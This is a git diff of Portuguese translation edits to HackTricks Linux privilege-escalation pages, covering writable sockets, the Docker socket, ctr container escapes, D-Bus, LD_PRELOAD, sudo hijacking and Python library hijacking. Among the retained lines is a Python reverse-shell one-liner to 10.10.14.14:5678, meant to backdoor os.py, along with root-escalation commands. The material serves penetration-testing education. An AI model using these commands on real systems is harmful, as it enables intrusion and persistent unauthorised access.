escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`. * `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo. * `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. * `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. ### Arquivos .socket graváveis -Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e a backdoor será executada antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -&#xNAN;_Note que o sistema deve estar usando essa configuração de arquivo socket ou a backdoor não será executada_ +Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +&#xNAN;_Note que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ ### Sockets graváveis @@ -501,7 +501,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of ### Sockets HTTP -Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com: +Note que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -509,7 +509,7 @@ Se o socket **responder com uma requisição HTTP**, então você pode **comunic ### Socket Docker Gravável -O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma explicação de como isso pode ser feito e métodos alternativos se o Docker CLI não estiver disponível. +O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma explicação de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Escalada de Privilégios com Docker CLI** @@ -554,7 +554,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no ### Outros -Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que se você tiver permissões de gravação sobre o socket do docker porque você está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver ouvindo em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: @@ -570,7 +570,7 @@ Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, p [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} -## **Escalação de privilégios do RunC** +## Escalação de privilégios do **RunC** Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **você pode ser capaz de abusar dele para escalar privilégios**: @@ -580,9 +580,9 @@ Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, ## **D-Bus** -D-Bus é um sofisticado **sistema de Comunicação Inter-Processos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos. +D-Bus é um sofisticado **sistema de Comunicação Interprocessos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer com que um reprodutor de música mude para mudo, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos. O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o barramento, permitindo potencialmente a escalada de privilégios através da exploração dessas permissões. @@ -684,7 +684,7 @@ Verifique se você é **membro de algum grupo** que poderia conceder privilégio ### Clipboard -Verifique se há algo interessante localizado dentro da área de transferência (se possível) +Verifique se há algo interessante localizado na área de transferência (se possível) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -712,7 +712,7 @@ Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiv ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. ### SUDO e SUID @@ -832,7 +832,7 @@ Finalmente, **escalate privileges** executando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` {% hint style="danger" %} -Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD\_LIBRARY\_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. +Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD\_LIBRARY\_PATH** porque ele controla o caminho onde as bibliotecas serão pesquisadas. {% endhint %} ```c #include @@ -855,7 +855,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binário com permissões **SUID** que parece incomum, é uma boa prática verificar se está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binário com permissões **SUID** que parece incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -911,9 +911,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. -O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas pós-exploração. +O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -939,7 +939,7 @@ Requisitos para escalar privilégios: * `cat /proc/sys/kernel/yama/ptrace_scope` é 0 * `gdb` é acessível (você pode ser capaz de carregá-lo) -(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo_inject) @@ -994,9 +994,9 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Então, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash\_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash\_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Note que se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que, se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1063,7 +1063,7 @@ execve(file,argv,0); ``` ## Capacidades -As capacidades do Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os **privilégios de root em unidades menores e distintas**. Cada uma dessas unidades pode ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +As capacidades do Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os **privilégios de root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ Leia a página a seguir para **saber mais sobre capacidades e como abusar delas**: {% content-ref url="linux-capabilities.md" %} @@ -1093,7 +1093,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Open shell sessions Em **versões antigas** você pode **sequestar** algumas **sessões de shell** de um usuário diferente (**root**).\ -Em **versões mais novas** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões mais recentes** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking @@ -1158,11 +1158,11 @@ Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores pos ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding @@ -1314,7 +1314,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) será realmente útil. -### Shell files +### Arquivos de shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1334,9 +1334,9 @@ Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pod ### Python library hijacking -Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): +Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1372,9 +1372,9 @@ DEVICE=eth0 ``` ### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `iniciar`, `parar`, `reiniciar` e, às vezes, `recarregar` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` é o lar dos **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `iniciar`, `parar`, `reiniciar` e, às vezes, `recarregar` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. **systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema. @@ -1416,7 +1416,7 @@ Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumere vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1448,7 +1448,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** diff --git a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 8c4b1d748..2e489ebc0 100644 --- a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,23 +1,23 @@ -# Escalação de Privilégios do Containerd (ctr) +# Containerd (ctr) Escalada de Privilégios {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informações Básicas +## Informações básicas -Acesse o seguinte link para aprender **o que é o containerd** e `ctr`: +Vá para o seguinte link para aprender **o que é containerd** e `ctr`: {% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) @@ -25,16 +25,12 @@ Acesse o seguinte link para aprender **o que é o containerd** e `ctr`: ## PE 1 -Se você descobrir que um host contém o comando `ctr`: +se você descobrir que um host contém o comando `ctr`: ```bash which ctr /usr/bin/ctr ``` Você pode listar as imagens: - -```shell -ctr images ls -``` ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS @@ -47,28 +43,28 @@ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:late ``` ## PE 2 -Execute um contêiner com privilégios e escape dele.\ -Você pode executar um contêiner com privilégios da seguinte forma: +Execute um contêiner privilegiado e escape dele.\ +Você pode executar um contêiner privilegiado como: ```bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` -Então você pode usar algumas das técnicas mencionadas na seguinte página para **escapar dela abusando de capacidades privilegiadas**: +Então você pode usar algumas das técnicas mencionadas na página seguinte para **escapar dela abusando de capacidades privilegiadas**: -{% content-ref url="docker-seguranca/" %} -[docker-seguranca](docker-seguranca/) +{% content-ref url="docker-security/" %} +[docker-security](docker-security/) {% endcontent-ref %} {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 36cd48a1c..5477b43cf 100644 --- a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,27 +1,27 @@ -# Enumeração e Injeção de Comandos de Privilégio D-Bus +# D-Bus Enumeration & Command Injection Privilege Escalation {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## **Enumeração GUI** +## **GUI enumeration** -O D-Bus é utilizado como mediador de comunicações entre processos (IPC) em ambientes de desktop do Ubuntu. No Ubuntu, é observada a operação concorrente de vários barramentos de mensagens: o barramento do sistema, principalmente utilizado por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui é principalmente no barramento do sistema devido à sua associação com serviços em execução com privilégios mais elevados (por exemplo, root), uma vez que nosso objetivo é elevar privilégios. Observa-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar. +D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar. -Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que eles expõem. Os objetos podem ser comparados às instâncias de classe em linguagens de programação orientadas a objetos padrão, sendo cada instância identificada de forma única por um **caminho do objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que apresenta um método singular, Introspect. Este método retorna uma representação XML dos métodos suportados pelo objeto, sinais e propriedades, com foco aqui nos métodos, omitindo propriedades e sinais. +Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que possui um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais. -Para a comunicação com a interface D-Bus, foram utilizadas duas ferramentas: uma ferramenta de CLI chamada **gdbus** para invocação fácil de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço. +Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço. ```bash sudo apt-get install d-feet ``` @@ -30,15 +30,15 @@ sudo apt-get install d-feet ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -Na primeira imagem são mostrados os serviços registrados com o barramento do sistema D-Bus, com **org.debin.apt** especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço para objetos, exibindo interfaces, métodos, propriedades e sinais para os objetos escolhidos, como visto na segunda imagem. A assinatura de cada método também é detalhada. +Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com **org.debin.apt** especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço por objetos, exibindo interfaces, métodos, propriedades e sinais para objetos escolhidos, vistos na segunda imagem. A assinatura de cada método também é detalhada. Uma característica notável é a exibição do **ID do processo (pid)** e da **linha de comando** do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa. -**O D-Feet também permite a invocação de métodos**: os usuários podem inserir expressões em Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço. +**O D-Feet também permite a invocação de métodos**: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço. -No entanto, observe que **alguns métodos exigem autenticação** antes de nos permitir invocá-los. Vamos ignorar esses métodos, já que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar. +No entanto, observe que **alguns métodos requerem autenticação** antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar. -Também observe que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 para determinar se um usuário 